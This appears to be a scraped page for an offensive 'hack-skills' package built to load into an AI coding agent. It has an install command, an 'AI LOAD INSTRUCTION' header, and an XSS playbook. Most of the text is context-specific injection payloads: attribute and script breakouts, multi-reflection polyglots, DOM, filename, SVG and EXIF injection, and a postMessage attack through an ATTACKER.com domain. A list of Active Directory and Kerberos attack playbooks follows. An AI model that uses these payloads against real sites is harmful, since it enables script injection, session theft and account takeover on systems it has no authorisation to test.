401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
$ npx -y skills add yaklang/hack-skills --skill xss-cross-site-scripting --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/xss-cross-site-scriptingContext preview
The summary Claude sees to decide when to auto-load this skill.
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
name: xss-cross-site-scripting description: >- XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
> **AI LOAD INSTRUCTION**: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows `<script>alert(1)</script>` — this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion [SCENARIOS.md](./SCENARIOS.md).
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
Also load [ADVANCED_XSS_TRICKS.md](./ADVANCED_XSS_TRICKS.md) when you need:
Before broad payload spraying, you can first load:
| Context | First Pick | Backup | |---|---|---| | HTML body | `<svg onload=alert(1)>` | `<img src=1 onerror=alert(1)>` | | Quoted attribute | `" autofocus onfocus=alert(1)//` | `" onmouseover=alert(1)//` | | JavaScript string | `'-alert(1)-'` | `'</script><svg onload=alert(1)>` | | URL / href sink | `javascript:alert(1)` | `data:text/html,<svg onload=alert(1)>` | | Tag body like `title` | `</title><svg onload=alert(1)>` | `</textarea><svg onload=alert(1)>` | | SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>` | XHTML namespace payload |
<svg onload=alert(1)> <img src=1 onerror=alert(1)> " autofocus onfocus=alert(1)// '</script><svg onload=alert(1)> javascript:alert(1) data:text/html,<svg onload=alert(1)>
---
Identify context **before** picking a payload. Wrong context = wasted attempts.
| Context | Indicator | Opener | Payload | |---|---|---|---| | HTML outside tag | `<b>INPUT</b>` | `<svg onload=` | `<svg onload=alert(1)>` | | HTML attribute value | `value="INPUT"` | `"` close attr | `"onmouseover=alert(1)//` | | Inline attr, no tag close | Quoted, `>` stripped | Event injection | `"autofocus onfocus=alert(1)//` | | Block tag (title/script/textarea) | `<title>INPUT</title>` | Close tag first | `</title><svg onload=alert(1)>` | | href / src / data / action | link or form | Protocol | `javascript:alert(1)` | | JS string (single quote) | `var x='INPUT'` | Break string | `'-alert(1)-'` or `'-alert(1)//` | | JS string with escape | Backslash escaping | Double escape | `\'-alert(1)//` | | JS logical block | Inside if/function | Close + inject | `'}alert(1);{'` | | JS anywhere on page | `<script>...INPUT` | Break script | `</script><svg onload=alert(1)>` | | XML page (`text/xml`) | XML content-type | XML namespace | `<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>` |
---
When input reflects in **multiple places** on the same page — single payload triggers from all points:
<!-- Double reflection --> 'onload=alert(1)><svg/1=' '>alert(1)</script><script/1=' */alert(1)</script><script>/* <!-- Triple reflection --> */alert(1)">'onload="/*<svg/1=' `-alert(1)">'onload="`<svg/1=' */</script>'>alert(1)/*<script/1=' <!-- Two separate inputs (p= and q=) --> p=<svg/1='&q='onload=alert(1)>
---
Input inserted via `.innerHTML`, `document.write`, jQuery `.html()`:
<img src=1 onerror=alert(1)> <iframe src=javascript:alert(1)>
For URL-controlled resource insertion:
data:text/html,<img src=1 onerror=alert(1)> data:text/html,<iframe src=javascript:alert(1)>
When URL itself is reflected in form `action`:
https://target.com/page.php/"><svg onload=alert(1)>?param=val
Inject between `.php` and `?`, using leading `/`.
**Filename injection** (when filename is reflected):
"><svg onload=alert(1)>.gif
**SVG upload** (stored XSS via image upload accepting SVG):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
**Metadata injection** (when EXIF is reflected):
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
When page has `window.addEventListener('message', ...)` without origin validation:
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">When origin IS checked but uses `.includes()` or prefix match:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
Attacker controls `facebook.com.ATTACKER.com` s
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…